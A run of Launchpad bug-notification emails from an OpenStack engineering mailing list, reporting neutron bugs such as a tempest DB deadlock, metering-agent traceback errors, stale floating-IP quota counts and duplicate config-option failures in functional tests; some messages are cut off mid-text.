[Yahoo-eng-team] [Bug 1630257] [NEW] DBDeadlock occurs during test_dualnet_multi_prefix_dhcpv6_stateless
Public bug reported: The test test_dualnet_multi_prefix_dhcpv6_stateless (tempest.scenario.test_network_v6.TestGettingAddress.test_dualnet_multi_prefix_dhcpv6_stateless[compute ,id-cf1c4425-766b-45b8-be35-e2959728eb00,network]) failed with error on python-openstackclient gates: 2016-10-04 13:59:59.811433 | Captured traceback: 2016-10-04 13:59:59.811450 | ~~~ 2016-10-04 13:59:59.811471 | Traceback (most recent call last): 2016-10-04 13:59:59.811513 | File "tempest/test.py", line 107, in wrapper 2016-10-04 13:59:59.811558 | return f(self, *func_args, **func_kwargs) 2016-10-04 13:59:59.811616 | File "tempest/scenario/test_network_v6.py", line 256, in test_dualnet_multi_prefix_dhcpv6_stateless 2016-10-04 13:59:59.811640 | dualnet=True) 2016-10-04 13:59:59.811672 | File "tempest/scenario/test_network_v6.py", line 203, in _prepare_and_test 2016-10-04 13:59:59.811696 | self.subnets_v6[i]['gateway_ip']) 2016-10-04 13:59:59.811728 | File "tempest/scenario/test_network_v6.py", line 213, in _check_connectivity 2016-10-04 13:59:59.811751 | (dest, source.ssh_client.host) 2016-10-04 13:59:59.811794 | File "/opt/stack/new/tempest/.tox/tempest/local/lib/python2.7/site-packages/unittest2/case.py", line 702, in assertTrue 2016-10-04 13:59:59.811818 | raise self.failureException(msg) 2016-10-04 13:59:59.811857 | AssertionError: False is not true : Timed out waiting for 2003::1 to become reachable from 172.24.5.14 http://logs.openstack.org/11/376311/3/check/gate-tempest-dsvm-neutron- src-python-openstackclient/04dabcd/console.html At this time in neutron-server logs DBDeadlock occurs: 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers Traceback (most recent call last): 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/opt/stack/new/neutron/neutron/plugins/ml2/managers.py", line 433, in _call_on_drivers 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers getattr(driver.obj, method_name)(context) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/opt/stack/new/neutron/neutron/plugins/ml2/drivers/mech_agent.py", line 60, in create_port_precommit 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers self._insert_provisioning_block(context) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/opt/stack/new/neutron/neutron/plugins/ml2/drivers/mech_agent.py", line 83, in _insert_provisioning_block 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers provisioning_blocks.L2_AGENT_ENTITY) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/opt/stack/new/neutron/neutron/db/api.py", line 159, in wrapped 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers return method(*args, **kwargs) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/opt/stack/new/neutron/neutron/db/provisioning_blocks.py", line 74, in add_provisioning_component 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers context.session.add(record) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/orm/session.py", line 490, in __exit__ 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers self.rollback() 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/util/langhelpers.py", line 60, in __exit__ 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers compat.reraise(exc_type, exc_value, exc_tb) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/orm/session.py", line 487, in __exit__ 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers self.commit() 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/orm/session.py", line 392, in commit 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers self._prepare_impl() 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/orm/session.py", line 372, in _prepare_impl 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers self.session.flush() 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/orm/session.py", line 2019, in flush 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers self._flush(objects) 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers File "/usr/local/lib/python2.7/dist-packages/sqlalchemy/orm/session.py", line 2137, in _flush 2016-10-04 13:34:51.346 21473 ERROR neutron.plugins.ml2.managers transaction.rollback(_capture_exception=True) 2016-10-04 13:34:
[Yahoo-eng-team] [Bug 1434103] Re: SQL schema downgrades are no longer supported
** Also affects: octavia Importance: Undecided Status: New ** Changed in: octavia Assignee: (unassigned) => Sergey Belous (sbelous) -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to neutron. https://bugs.launchpad.net/bugs/1434103 Title: SQL schema downgrades are no longer supported Status in Ceilometer: Fix Released Status in OpenStack Identity (keystone): Fix Released Status in Magnum: Fix Released Status in neutron: Fix Released Status in octavia: In Progress Status in Sahara: Fix Released Status in OpenStack DBaaS (Trove): Triaged Bug description: Approved cross-project spec: https://review.openstack.org/152337 To manage notifications about this bug go to: https://bugs.launchpad.net/ceilometer/+bug/1434103/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : yahoo-eng-team@lists.launchpad.net Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1572548] [NEW] metering-agent failed to get traffic counters when no router-namespace where meter-label-rules were added
Public bug reported:
Removing router from l3 agent cause errors from neutron-metering-agent.
The neutron-meter-agent continues try to get traffic counters from
iptables on router-namespace, which is not exist after removing router
from l3-agent.
Steps to reproduce:
1. Create internal net, subnet, router. Set external gateway for router, add
interface to router for created net.
2. Create neutron-meter-label
3. Use 'neutron l3-agent-router-remove' command to remove a router from a L3
agent
Trace in neutron-metering-agent logs:
2016-04-20 12:28:26.699 ERROR neutron.agent.linux.utils [-] Exit code: 1;
Stdin: ; Stdout: ; Stderr: Cannot open network namespace
"qrouter-c8acd926-88e5-4292-883e-e928fb3f6d32": No such file or directory
2016-04-20 12:28:26.700 ERROR
neutron.services.metering.drivers.iptables.iptables_driver [-] Failed to get
traffic counters, router: {u'status': u'ACTIVE', u'name': u'router05',
u'gw_port_id': u'f36b30d3-5290-4896-837c-108b8cd4f3dc', u'admin_state_up':
True, u'tenant_id': u'1c0eb24bdbb1406bb7d1346f36064ebd', u'_metering_labels':
[{u'rules': [{u'remote_ip_prefix': u'0.0.0.0/0', u'direction': u'egress',
u'metering_label_id': u'67dae290-38cb-4962-80ab-d6d3404dc6df', u'id':
u'799f3361-6f90-4e36-a338-311d6e7c9d5b', u'excluded': False}], u'id':
u'67dae290-38cb-4962-80ab-d6d3404dc6df'}], u'id':
u'c8acd926-88e5-4292-883e-e928fb3f6d32'}
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver Traceback (most
recent call last):
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver File
"/opt/stack/neutron/neutron/services/metering/drivers/iptables/iptables_driver.py",
line 355, in get_traffic_counters
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver chain,
wrap=False, zero=True)
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver File
"/opt/stack/neutron/neutron/agent/linux/iptables_manager.py", line 712, in
get_traffic_counters
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver current_table =
self.execute(args, run_as_root=True)
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver File
"/opt/stack/neutron/neutron/agent/linux/utils.py", line 137, in execute
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver raise
RuntimeError(msg)
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver RuntimeError: Exit
code: 1; Stdin: ; Stdout: ; Stderr: Cannot open network namespace
"qrouter-c8acd926-88e5-4292-883e-e928fb3f6d32": No such file or directory
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver
2016-04-20 12:28:26.700 TRACE
neutron.services.metering.drivers.iptables.iptables_driver
** Affects: neutron
Importance: Undecided
Assignee: Sergey Belous (sbelous)
Status: New
** Changed in: neutron
Assignee: (unassigned) => Sergey Belous (sbelous)
--
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/1572548
Title:
metering-agent failed to get traffic counters when no router-namespace
where meter-label-rules were added
Status in neutron:
New
Bug description:
Removing router from l3 agent cause errors from neutron-metering-
agent. The neutron-meter-agent continues try to get traffic counters
from iptables on router-namespace, which is not exist after removing
router from l3-agent.
Steps to reproduce:
1. Create internal net, subnet, router. Set external gateway for router, add
interface to router for created net.
2. Create neutron-meter-label
3. Use 'neutron l3-agent-router-remove' command to remove a router from a L3
agent
Trace in neutron-metering-agent logs:
2016-04-20 12:28:26.699 ERROR neutron.agent.linux.utils [-] Exit code: 1;
Stdin: ; Stdout: ; Stderr: Cannot open network namespace
"qrouter-c8acd926-88e5-4292-883e-e928fb3f6d32": No such file or directory
2016-04-20 12:28:26.700 ERROR
neutron.services.metering.drivers.iptables.iptables_driver [-] Failed to get
traffic counters, router: {u'status': u'ACTIVE', u'name': u'router05',
u'gw_port_id': u'f36b30d3-5290-4896-837c-108b8cd4f3dc', u'admin_state_up':
True, u'tenant_id': u'1c0eb24bdbb1406bb7d1346f36064ebd', u'_metering_labels':
[{u'rules': [{u'remote_ip_pref
[Yahoo-eng-team] [Bug 1533687] [NEW] Quota info in DB for floatingip is not updated immediately
Public bug reported: The records in quotausages table for floatingip are not updated immediately after delete some (or all) floatingips. For example, if we set quota for floatingip to 5, create 5 floatingips and remove all of them, after that we can't create new floatingip: The error "Quota exceeded for resources: ['floatingip']." occurs. And at this time in mysql db we can see following: mysql> select * from quotausages; +--++---++--+ | tenant_id| resource | dirty | in_use | reserved | +--++---++--+ | fae4b729e0d543199331d6be300074fc | floatingip | 0 | 5 |0 | | fae4b729e0d543199331d6be300074fc | network| 0 | 1 |0 | +--++---++--+ Steps to reproduce: 1. $ neutron quota-update --floatingip 5 2. $ for i in $(seq 1 5); do neutron floatingip-create public; done 3. Try to create another one floatingip (should not be created): $ neutron floatingip-create public Quota exceeded for resources: ['floatingip']. 4. $ for ip in $(neutron floatingip-list -f csv -c id --quote=none | grep -v id); do neutron floatingip-delete $ip done 5. Try to create another one floatingip: $ neutron floatingip-create public Quota exceeded for resources: ['floatingip']. 6. Check quotas info in db: mysql> use neutron mysql> select * from quotausages; Full log here: http://paste.openstack.org/show/483767/ ** Affects: neutron Importance: Undecided Status: New ** Summary changed: - Quota info in bd for floatingip is not updated immediately + Quota info in DB for floatingip is not updated immediately ** Description changed: The records in quotausages table for floatingip are not updated immediately after delete some (or all) floatingips. For example, if we set quota for floatingip to 5, create 5 floatingips and remove all of them, after that we can't create new floatingip: The error "Quota exceeded for resources: ['floatingip']." occurs. And at this time in mysql db we can see following: mysql> select * from quotausages; +--++---++--+ | tenant_id| resource | dirty | in_use | reserved | +--++---++--+ | fae4b729e0d543199331d6be300074fc | floatingip | 0 | 5 |0 | | fae4b729e0d543199331d6be300074fc | network| 0 | 1 |0 | +--++---++--+ Steps to reproduce: 1. $ neutron quota-update --floatingip 5 2. $ for i in $(seq 1 5); do neutron floatingip-create public; done 3. Try to create another one floatingip (should not be created): - $ neutron floatingip-create public + $ neutron floatingip-create public Quota exceeded for resources: ['floatingip']. 4. $ for ip in $(neutron floatingip-list -f csv -c id --quote=none | grep -v id); do neutron floatingip-delete $ip done 5. Try to create another one floatingip: $ neutron floatingip-create public Quota exceeded for resources: ['floatingip']. - 6. Check quotas info in db: + 6. Check quotas info in bd: mysql> use neutron mysql> select * from quotausages; Full log here: http://paste.openstack.org/show/483767/ ** Description changed: The records in quotausages table for floatingip are not updated immediately after delete some (or all) floatingips. For example, if we set quota for floatingip to 5, create 5 floatingips and remove all of them, after that we can't create new floatingip: The error "Quota exceeded for resources: ['floatingip']." occurs. - And at this time in mysql db we can see following: + And at this time in mysql bd we can see following: mysql> select * from quotausages; +--++---++--+ | tenant_id| resource | dirty | in_use | reserved | +--++---++--+ | fae4b729e0d543199331d6be300074fc | floatingip | 0 | 5 |0 | | fae4b729e0d543199331d6be300074fc | network| 0 | 1 |0 | +--++---++--+ Steps to reproduce: 1. $ neutron quota-update --floatingip 5 2. $ for i in $(seq 1 5); do neutron floatingip-create public; done 3. Try to create another one floatingip (should not be created): $ neutron floatingip-create public Quota exceeded for resources: ['floatingip']. 4. $ for ip in $(neutron floatingip-list -f csv -c id --quote=none | grep -v id); do neutron floatingip-delete $ip done
[Yahoo-eng-team] [Bug 1528868] [NEW] Neutron-metering-agent failed to get traffic counters when xtables is locked
Public bug reported:
In some cases, if we try to show iptables on router namespace manualy,
where exist some rules created by meter-agent, we can see the following
traces in meter-agent logs:
2015-12-17 08:49:14.709 ERROR neutron.agent.linux.utils [-] Exit code:
4; Stdin: ; Stdout: ; Stderr: Another app is currently holding the
xtables lock. Perhaps you want to use the -w option?
2015-12-17 08:49:14.710 ERROR
neutron.services.metering.drivers.iptables.iptables_driver [-] Failed to get
traffic counters, router: {u'status': u'ACTIVE', u'name': u'router1',
u'gw_port_id': u'00e8ce89-0ebe-4e8a-b1ca-c2993210a8db', u'admin_state_up':
True, u'tenant_id': u'f8267bb3db654ca2a26a07d9757ec280', u'_metering_labels':
[{u'rules': [{u'remote_ip_prefix': u'0.0.0.0/0', u'direction': u'egress',
u'metering_label_id': u'ef4f1dab-cafe-4058-aa6a-85a79a10c67e', u'id':
u'986d6cfe-719b-43a7-96d1-79e97eb93567', u'excluded': False}], u'id':
u'ef4f1dab-cafe-4058-aa6a-85a79a10c67e'}], u'id':
u'8aef2cba-45b1-42f3-b7a4-8ea992d6cded'}
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver Traceback (most
recent call last):
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver File
"/opt/stack/neutron/neutron/services/metering/drivers/iptables/iptables_driver.py",
line 354, in get_traffic_counters
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver chain,
wrap=False, zero=True)
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver File
"/opt/stack/neutron/neutron/agent/linux/iptables_manager.py", line 661, in
get_traffic_counters
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver current_table =
self.execute(args, run_as_root=True)
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver File
"/opt/stack/neutron/neutron/agent/linux/utils.py", line 140, in execute
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver raise
RuntimeError(msg)
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver RuntimeError: Exit
code: 4; Stdin: ; Stdout: ; Stderr: Another app is currently holding the
xtables lock. Perhaps you want to use the -w option?
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver
Steps to reproduce:
1. Create neutron-meter-label
2. Find router's namespace, where rules added by meter-agent
3. run:
sudo watch -n 1 ip net e %namespace-name% iptables -L -v -x -n
4. See logs of meter-agent
** Affects: neutron
Importance: Undecided
Assignee: Sergey Belous (sbelous)
Status: New
** Tags: metering
** Changed in: neutron
Assignee: (unassigned) => Sergey Belous (sbelous)
--
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/1528868
Title:
Neutron-metering-agent failed to get traffic counters when xtables is
locked
Status in neutron:
New
Bug description:
In some cases, if we try to show iptables on router namespace manualy,
where exist some rules created by meter-agent, we can see the
following traces in meter-agent logs:
2015-12-17 08:49:14.709 ERROR neutron.agent.linux.utils [-] Exit code:
4; Stdin: ; Stdout: ; Stderr: Another app is currently holding the
xtables lock. Perhaps you want to use the -w option?
2015-12-17 08:49:14.710 ERROR
neutron.services.metering.drivers.iptables.iptables_driver [-] Failed to get
traffic counters, router: {u'status': u'ACTIVE', u'name': u'router1',
u'gw_port_id': u'00e8ce89-0ebe-4e8a-b1ca-c2993210a8db', u'admin_state_up':
True, u'tenant_id': u'f8267bb3db654ca2a26a07d9757ec280', u'_metering_labels':
[{u'rules': [{u'remote_ip_prefix': u'0.0.0.0/0', u'direction': u'egress',
u'metering_label_id': u'ef4f1dab-cafe-4058-aa6a-85a79a10c67e', u'id':
u'986d6cfe-719b-43a7-96d1-79e97eb93567', u'excluded': False}], u'id':
u'ef4f1dab-cafe-4058-aa6a-85a79a10c67e'}], u'id':
u'8aef2cba-45b1-42f3-b7a4-8ea992d6cded'}
2015-12-17 08:49:14.710 TRACE
neutron.services.metering.drivers.iptables.iptables_driver Traceback (most
recent call last):
2015-12-17 08:49:14.710 TRACE
neutron.services.meteri
[Yahoo-eng-team] [Bug 1527274] [NEW] Neutron-metering-agent failed to add rule on router without gateway
Public bug reported: If we trying to create meter-label-rule and there is a router without external gateway, then the metering agent will raise an error: 2015-12-17 08:56:44.659 ERROR oslo_messaging.rpc.dispatcher [req-732f65fb-9a4e-4883-b545-3cb080c8cdae admin f8267bb3db654ca2a26a07d9757ec280] Exception during message handling: cannot concatenate 'str' and 'NoneType' objects 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher Traceback (most recent call last): 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/usr/local/lib/python2.7/dist-packages/oslo_messaging/rpc/dispatcher.py", line 142, in _dispatch_and_reply 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher executor_callback)) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/usr/local/lib/python2.7/dist-packages/oslo_messaging/rpc/dispatcher.py", line 186, in _dispatch 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher executor_callback) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/usr/local/lib/python2.7/dist-packages/oslo_messaging/rpc/dispatcher.py", line 129, in _do_dispatch 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher result = func(ctxt, **new_args) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/opt/stack/neutron/neutron/services/metering/agents/metering_agent.py", line 222, in add_metering_label_rule 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher 'add_metering_label_rule') 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/usr/local/lib/python2.7/dist-packages/oslo_concurrency/lockutils.py", line 271, in inner 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher return f(*args, **kwargs) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/opt/stack/neutron/neutron/services/metering/agents/metering_agent.py", line 176, in _invoke_driver 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher return getattr(self.metering_driver, func_name)(context, meterings) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/usr/local/lib/python2.7/dist-packages/oslo_log/helpers.py", line 46, in wrapper 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher return method(*args, **kwargs) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/opt/stack/neutron/neutron/services/metering/drivers/iptables/iptables_driver.py", line 259, in add_metering_label_rule 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher self._add_metering_label_rule(router) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/opt/stack/neutron/neutron/services/metering/drivers/iptables/iptables_driver.py", line 272, in _add_metering_label_rule 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher self._process_metering_rule_action(router, 'create') 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/opt/stack/neutron/neutron/services/metering/drivers/iptables/iptables_driver.py", line 281, in _process_metering_rule_action 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher ext_dev = self.get_external_device_name(rm.router['gw_port_id']) 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher File "/opt/stack/neutron/neutron/services/metering/drivers/iptables/iptables_driver.py", line 132, in get_external_device_name 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher return (EXTERNAL_DEV_PREFIX + port_id)[:self.driver.DEV_NAME_LEN] 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher TypeError: cannot concatenate 'str' and 'NoneType' objects 2015-12-17 08:56:44.659 TRACE oslo_messaging.rpc.dispatcher Steps to reproduce: 1. Create internal net, subnet, router. Add interface to router for created net. Boot vm in created net. 2. Create neutron-meter-label 3. Try to create meter-label-rule 4. Rule not appear in iptables on router-namespace and after that we can see traces in neutron-meter-agent's logs like above. ** Affects: neutron Importance: Undecided Assignee: Sergey Belous (sbelous) Status: New ** Tags: metering ** Changed in: neutron Assignee: (unassigned) => Sergey Belous (sbelous) -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to neutron. https://bugs.launchpad.net/bugs/1527274 Title: Neutron-metering-agent failed to add rule on router without gateway Status in neutron: New Bug description: If we trying to create meter-label-rule and there is a router without external gateway, then the metering agent will raise an error: 2015-12-17 08:56:44.659 ERROR oslo_messaging.rpc.dispatcher [req-732f6
[Yahoo-eng-team] [Bug 1522471] [NEW] Error 'Will not send event port_delete_end for network xxx' when agents are alive
Public bug reported:
This happens when agents are alive, but none of them managing the
network.
Log:
2015-11-24 12:58:48.973 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Notify callbacks for port,
before_delete
2015-11-24 12:58:48.973 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Calling callback
neutron.db.l3_db._prevent_l3_port_delete_callback
2015-11-24 12:58:49.069 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Notify callbacks for port,
after_delete
2015-11-24 12:58:49.070 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Calling callback
neutron.db.l3_db._notify_routers_callback
2015-11-24 12:58:49.070 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Calling callback
neutron.db.l3_dvrscheduler_db._notify_port_delete
2015-11-24 12:58:49.076 25277 WARNING
neutron.plugins.ml2.drivers.l2pop.mech_driver
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Unable to retrieve the agent ip,
check the agent configuration.
2015-11-24 12:58:49.495 25277 ERROR
neutron.api.rpc.agentnotifiers.dhcp_rpc_agent_api
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Will not send event port_delete_end
for network fa002ff9-0df9-4b5f-b8cf-89a933a2f710: no agent available. Payload:
{'port_id': u'be3e3447-94a6-4bcc-914c-1c4a87b32b37'}
** Affects: neutron
Importance: Undecided
Assignee: Sergey Belous (sbelous)
Status: In Progress
** Changed in: neutron
Assignee: (unassigned) => Sergey Belous (sbelous)
--
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/1522471
Title:
Error 'Will not send event port_delete_end for network xxx' when
agents are alive
Status in neutron:
In Progress
Bug description:
This happens when agents are alive, but none of them managing the
network.
Log:
2015-11-24 12:58:48.973 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Notify callbacks for port,
before_delete
2015-11-24 12:58:48.973 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Calling callback
neutron.db.l3_db._prevent_l3_port_delete_callback
2015-11-24 12:58:49.069 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Notify callbacks for port,
after_delete
2015-11-24 12:58:49.070 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Calling callback
neutron.db.l3_db._notify_routers_callback
2015-11-24 12:58:49.070 25277 INFO neutron.callbacks.manager
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Calling callback
neutron.db.l3_dvrscheduler_db._notify_port_delete
2015-11-24 12:58:49.076 25277 WARNING
neutron.plugins.ml2.drivers.l2pop.mech_driver
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Unable to retrieve the agent ip,
check the agent configuration.
2015-11-24 12:58:49.495 25277 ERROR
neutron.api.rpc.agentnotifiers.dhcp_rpc_agent_api
[req-6495acd9-ac68-42f4-917d-f3c9fdc6b430 ] Will not send event port_delete_end
for network fa002ff9-0df9-4b5f-b8cf-89a933a2f710: no agent available. Payload:
{'port_id': u'be3e3447-94a6-4bcc-914c-1c4a87b32b37'}
To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1522471/+subscriptions
--
Mailing list: https://launchpad.net/~yahoo-eng-team
Post to : yahoo-eng-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~yahoo-eng-team
More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1505715] [NEW] Functional tests falls, if global cfg.CONF tried to register the same option twice
Public bug reported:
There is an functional test, that register "metadata_proxy_socket" option in
global cfg.CONF:
https://github.com/openstack/neutron/blob/master/neutron/tests/functional/agent/l3/test_keepalived_state_change.py#L28
If we tried to run another functional test, that also should register
"metadata_proxy_socket" option (for example new functional tests of dhcp-agent:
https://review.openstack.org/#/c/136834/) and we will run all functional tests
in the scope, one of them will be fall with error
"oslo_config.cfg.DuplicateOptError: duplicate option: metadata_proxy_socket":
http://paste.openstack.org/show/476026/
That because in test_keepalived_state_change test "metadata_proxy_socket"
option register with 'Location of Metadata Proxy UNIX domain socket' help
message, and functional test of dhcp tried to register "metadata_proxy_socket"
option with "Location for Metadata Proxy UNIX domain socket." help message
(yes, help messages are different), therefore second test falls with
DuplicateOptError.
** Affects: neutron
Importance: Undecided
Assignee: Sergey Belous (sbelous)
Status: New
** Changed in: neutron
Assignee: (unassigned) => Sergey Belous (sbelous)
--
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/1505715
Title:
Functional tests falls, if global cfg.CONF tried to register the same
option twice
Status in neutron:
New
Bug description:
There is an functional test, that register "metadata_proxy_socket" option in
global cfg.CONF:
https://github.com/openstack/neutron/blob/master/neutron/tests/functional/agent/l3/test_keepalived_state_change.py#L28
If we tried to run another functional test, that also should register
"metadata_proxy_socket" option (for example new functional tests of dhcp-agent:
https://review.openstack.org/#/c/136834/) and we will run all functional tests
in the scope, one of them will be fall with error
"oslo_config.cfg.DuplicateOptError: duplicate option: metadata_proxy_socket":
http://paste.openstack.org/show/476026/
That because in test_keepalived_state_change test "metadata_proxy_socket"
option register with 'Location of Metadata Proxy UNIX domain socket' help
message, and functional test of dhcp tried to register "metadata_proxy_socket"
option with "Location for Metadata Proxy UNIX domain socket." help message
(yes, help messages are different), therefore second test falls with
DuplicateOptError.
To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1505715/+subscriptions
--
Mailing list: https://launchpad.net/~yahoo-eng-team
Post to : yahoo-eng-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~yahoo-eng-team
More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1492283] [NEW] Add ability to use custom config in DHCP-agent
Public bug reported: Currently, dhcp-agent is hardcoded to use global oslo.config's CONF to get and register options. Adding an ability to pass the config as an argument will make dhcp-agent more flexible and reduce code coupling. ** Affects: neutron Importance: Undecided Assignee: Sergey Belous (sbelous) Status: New ** Changed in: neutron Assignee: (unassigned) => Sergey Belous (sbelous) -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to neutron. https://bugs.launchpad.net/bugs/1492283 Title: Add ability to use custom config in DHCP-agent Status in neutron: New Bug description: Currently, dhcp-agent is hardcoded to use global oslo.config's CONF to get and register options. Adding an ability to pass the config as an argument will make dhcp-agent more flexible and reduce code coupling. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1492283/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : yahoo-eng-team@lists.launchpad.net Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp
[Yahoo-eng-team] [Bug 1487139] [NEW] We need more strict filters for functional tests
